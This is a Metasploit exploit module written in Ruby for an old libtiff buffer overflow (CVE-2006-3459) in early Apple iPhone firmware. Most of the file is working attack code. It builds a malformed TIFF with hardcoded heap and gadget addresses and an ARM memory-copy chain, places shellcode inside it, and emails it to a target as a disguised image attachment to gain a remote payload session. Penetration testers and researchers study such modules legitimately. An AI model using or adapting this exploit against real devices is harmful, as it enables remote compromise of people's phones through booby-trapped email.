Apple iOS MobileMail LibTIFF Buffer Overflow

##
# $Id: mobilemail_libtiff.rb 15950 2012-10-09 18:31:08Z rapid7 $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 #
 # This module sends email messages via smtp
 #
 include Msf::Exploit::Remote::SMTPDeliver

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apple iOS MobileMail LibTIFF Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the version of
    libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
    1.1.1 of the Apple iPhone. iPhones which have not had the BSD
    tools installed will need to use a special payload.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>  ['hdm', 'kf'],
   'Version'        => '$Revision: 15950 $',
   'References'     =>
    [
     ['CVE', '2006-3459'],
     ['OSVDB', '27723'],
     ['BID', '19283']
    ],
   'Stance'         => Msf::Exploit::Stance::Passive,
   'Payload'        =>
    {
     'Space'    => 1800,
     'BadChars' => "",
     'Compat'   =>
      {
       'ConnectionType' => '-bind -find',
      },
    },
   'Arch'           => ARCH_ARMLE,
   'Targets'        =>
    [

     [ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
      {
       'Platform' => 'osx',

       # Scratch space for our shellcode and stack
       'Heap'     => 0x00802000,

       # Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
       'Magic'    => 0x300d562c,
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 01 2006'
   ))

 end

 def autofilter
  false
 end

 def exploit

  exts = ['jpg', 'tiff', 'tif']

  gext =  exts[rand(exts.length)]
  name = rand_text_alpha(rand(10)+1) + ".#{gext}"
  data = Rex::Text.rand_text_alpha(rand(32)+1)
  tiff = generate_tiff(target)

  msg = Rex::MIME::Message.new
  msg.mime_defaults
  msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
  msg.to = datastore['MAILTO']
  msg.from = datastore['MAILFROM']

  msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
  msg.add_part_attachment(tiff, rand_text_alpha(rand(32)+1) + "." + gext)

  send_message(msg.to_s)

  print_status("Waiting for a payload session (backgrounding)...")
 end

 def generate_tiff(targ)
  #
  # This is a TIFF file, we have a huge range of evasion
  # capabilities, but for now, we don't use them.
  #  - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
  #

  lolz = 2048
  tiff =
   "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
   "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
   "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
   "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
   "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
   "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
   "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
   "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
   "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
   [lolz].pack("V") +
   "\x84\x00\x00\x00\x00\x00\x00\x00"

  # Randomize the bajeezus out of our data
  hehe = rand_text(lolz)

  # Were going to candy mountain!
  hehe[120, 4] = [targ['Magic']].pack("V")

  # >> add r0, r4, #0x30
  hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")

  # Candy mountain, Charlie!
  # >> mov r1, sp

  # It will be an adventure!
  # >> mov r2, r8
  hehe[ 92, 4] = [ hehe.length ].pack("V")

  # Its a magic leoplurodon!
  # It has spoken!
  # It has shown us the way!
  # >> bl _memcpy

  # Its just over this bridge, Charlie!
  # This magical bridge!
  # >> ldr r3, [r4, #32]
  # >> ldrt r3, [pc], r3, lsr #30
  # >> str r3, [r4, #32]
  # >> ldr r3, [r4, #36]
  # >> ldrt r3, [pc], r3, lsr #30
  # >> str r3, [r4, #36]
  # >> ldr r3, [r4, #40]
  # >> ldrt r3, [pc], r3, lsr #30
  # >> str r3, [r4, #40]
  # >> ldr r3, [r4, #44]
  # >> ldrt r3, [pc], r3, lsr #30
  # >> str r3, [r4, #44]

  # We made it to candy mountain!
  # Go inside Charlie!
  # sub sp, r7, #0x14
  hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")

  # Goodbye Charlie!
  # ;; targ['Heap'] + 0x48 becomes the stack pointer
  # >> ldmia sp!, {r8, r10}

  # Hey, what the...!
  # >> ldmia sp!, {r4, r5, r6, r7, pc}

  # Return back to the copied heap data
  hehe[192, 4] = [  targ['Heap'] + 196  ].pack("V")

  # Insert our actual shellcode at heap location + 196
  hehe[196, payload.encoded.length] = payload.encoded

  tiff << hehe
 end

end